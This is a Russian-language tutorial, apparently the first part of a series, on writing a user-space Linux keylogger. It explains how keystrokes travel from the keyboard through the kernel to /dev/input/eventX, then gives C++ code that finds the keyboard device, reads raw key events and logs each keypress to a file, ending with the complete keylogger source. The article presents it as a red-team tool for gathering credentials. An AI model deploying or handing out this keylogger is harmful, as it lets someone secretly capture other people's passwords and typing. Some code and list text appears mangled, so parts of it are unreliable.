Первая часть полного руководства по кейлоггингу в Linux будет посвящена основам кейлоггинга и его важности в сфере обеспечения безопасности Linux. Мы подробно разберем кейлоггинг в пользовательском пространстве и покажем как написать кейлоггер для Linux, считывающий нажатия с клавиатуры устройства.
Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя.
Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации.
Специалистам Offensive Security или красной команде:
Специалистам Defensive Security или синей команде:
Чтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему:
/-----------+-----------\ /-----------+-----------\
| app 1 | app 2 | | app 3 | app 4 |
\-----------+-----------/ \-----------+-----------/
^ ^
| |
+-------+ |
| |
| key symbol keycode |
| + modifiers |
| |
| |
+---+-------------+ +-----------+-------------+
+ X server | | /dev/input/eventX |
+-----------------+ +-------------------------+
^ ^
| keycode / scancode |
+---------------+---------------+
|
|
+---------------+--------------+ interrupt
| kernel | <--------=-------+
+------------------------------+ |
|
+----------+ USB, PS/2 +-------------+ PCI, ... +-----+
| keyboard |------------------->| motherboard |----------->| CPU |
+----------+ key up/down +-------------+ +-----+
Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши (keydown и keyup), который называется кодом клавиши или скан-кодом (keycode или scancode). Когда клавиша нажата или отпущена, она передает скан-код материнской плате через интерфейс, к которому подключена. Материнская плата обнаружит произошедшее событие клавиатуры (например, keydown и/или keyup) и запустит прерывание для CPU.
CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs (/dev/input/eventX).
В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.
Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:
/dev/input/eventX является клавиатурным устройством и будет напрямую считывать данные из этого файла.Определить клавиатуру или устройство, заменяющее ее, довольно просто:
/dev/input/;В системе может быть не одна клавиатура, или устройства, заменяющие ее (сканеры штрих-кодов). В таких случаях можно попытаться проверить поддержку нескольких клавиш. Чтобы отсеять ненужные устройства, можно считать все клавиши и обработать записанные данные.
Так можно итерировать каталоги и искать символьные файлы в C++17:
std::string get_kb_device()
{
std::string kb_device = "";
for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
{
std::filesystem::file_status status = std::filesystem::status(p);
if (std::filesystem::is_character_file(status))
{
kb_device = p.path().string();
}
}
return kb_device;
}
А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:
Пример кода для вышеописанной логики приведен ниже:
std::string filename = p.path().string();
int fd = open(filename.c_str(), O_RDONLY);
if(fd == -1)
{
std::cerr << "Error: " << strerror(errno) << std::endl;
continue;
}
int32_t event_bitmap = 0;
int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
if((EV_KEY & event_bitmap) == EV_KEY)
{
ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
if((kbd_bitmap & event_bitmap) == kbd_bitmap)
{
// The device supports A, B, C, Z keys, so it probably is a keyboard
kb_device = filename;
close(fd);
break;
}
}
close(fd);
Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:
input_event`;EV_KEY (т.е. событием нажатия клавиши);Структура `input_event` выглядит так:
struct input_event {
#if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)
struct timeval time;
#define input_event_sec time.tv_sec
#define input_event_usec time.tv_usec
#else
__kernel_ulong_t __sec;
#if defined(__sparc__) && defined(__arch64__)
unsigned int __usec;
unsigned int __pad;
#else
__kernel_ulong_t __usec;
#endif
#define input_event_sec __sec
#define input_event_usec __usec
#endif
__u16 type;
__u16 code;
__s32 value;
}
Рассмотрим переменные в структуре:
`time`– временная метка, возвращающая время, в которое произошло событие.``type`– тип события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он будет **EV_KEY**.``code`– код события, заданный в /usr/include/linux/input-event-codes.h. В случае события клавиатуры он станет скан-кодом.``value`– значение события. Оно может может показывать относительное изменение EV_REL, совершенно новое значение EV_ABS. В EV_KEY оно принимает значение 0 для keyup, 1 для keydown и 2 для автоповтора.Чтобы сопоставить скан-код и название клавиши, можно воспользоваться таким способом:
std::vector keycodes = {
"RESERVED",
"ESC",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"MINUS",
"EQUAL",
"BACKSPACE",
"TAB",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"LEFTBRACE",
"RIGHTBRACE",
"ENTER",
"LEFTCTRL",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
"SEMICOLON",
"APOSTROPHE",
"GRAVE",
"LEFTSHIFT",
"BACKSLASH",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"COMMA",
"DOT",
"SLASH",
"RIGHTSHIFT",
"KPASTERISK",
"LEFTALT",
"SPACE",
"CAPSLOCK",
"F1",
"F2",
"F3",
"F4",
"F5",
"F6",
"F7",
"F8",
"F9",
"F10",
"NUMLOCK",
"SCROLLLOCK"
};
Для полноты картины ниже приведен полный исходный код кейлоггера:
#include #include #include #include #include#include #include #include #include #include #include std::vector keycodes = { "RESERVED", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "MINUS", "EQUAL", "BACKSPACE", "TAB", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL", "A", "S", "D", "F", "G", "H", "J", "K", "L", "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH", "Z", "X", "C", "V", "B", "N", "M", "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK", "LEFTALT", "SPACE", "CAPSLOCK", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "NUMLOCK", "SCROLLLOCK" }; int loop = 1; void sigint_handler(int sig) { loop = 0; } int write_all(int file_desc, const char *str) { int bytesWritten = 0; int bytesToWrite = strlen(str); do { bytesWritten = write(file_desc, str, bytesToWrite); if(bytesWritten == -1) { return 0; } bytesToWrite -= bytesWritten; str += bytesWritten; } while(bytesToWrite > 0); return 1; } void safe_write_all(int file_desc, const char *str, int keyboard) { struct sigaction new_actn, old_actn; new_actn.sa_handler = SIG_IGN; sigemptyset(&new_actn.sa_mask); new_actn.sa_flags = 0; sigaction(SIGPIPE, &new_actn, &old_actn); if(!write_all(file_desc, str)) { close(file_desc); close(keyboard); std::cerr << "Error: " << strerror(errno) << std::endl; exit(1); } sigaction(SIGPIPE, &old_actn, NULL); } void keylogger(int keyboard, int writeout) { int eventSize = sizeof(struct input_event); int bytesRead = 0; const unsigned int number_of_events = 128; struct input_event events[number_of_events]; int i; signal(SIGINT, sigint_handler); while(loop) { bytesRead = read(keyboard, events, eventSize * number_of_events); for(i = 0; i < (bytesRead / eventSize); ++i) { if(events[i].type == EV_KEY) { if(events[i].value == 1) { if(events[i].code > 0 && events[i].code < keycodes.size()) { safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard); safe_write_all(writeout, "\n", keyboard); } else { write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED")); } } } } } if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard); } std::string get_kb_device() { std::string kb_device = ""; for (auto &p : std::filesystem::directory_iterator("/dev/input/")) { std::filesystem::file_status status = std::filesystem::status(p); if (std::filesystem::is_character_file(status)) { std::string filename = p.path().string(); int fd = open(filename.c_str(), O_RDONLY); if(fd == -1) { std::cerr << "Error: " << strerror(errno) << std::endl; continue; } int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap); if((EV_KEY & event_bitmap) == EV_KEY) { // The device acts like a keyboard ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap); if((kbd_bitmap & event_bitmap) == kbd_bitmap) { // The device supports A, B, C, Z keys, so it probably is a keyboard kb_device = filename; close(fd); break; } } close(fd); } } return kb_device; } void print_usage_and_quit(char *application_name) { std::cout << "Usage: " << application_name << " output-file" << std::endl; exit(1); } int main(int argc, char *argv[]) { std::string kb_device = get_kb_device(); if (argc < 2) print_usage_and_quit(argv[0]); if(kb_device == "") print_usage_and_quit(argv[0]); int writeout; int keyboard; if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0) { std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl; return 1; } if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0) { std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl; return 1; } std::cout << "Keyboard device: " << kb_device << std::endl; keylogger(keyboard, writeout); close(keyboard); close(writeout); return 0; }
Лечим цифровую неграмотность без побочных эффектов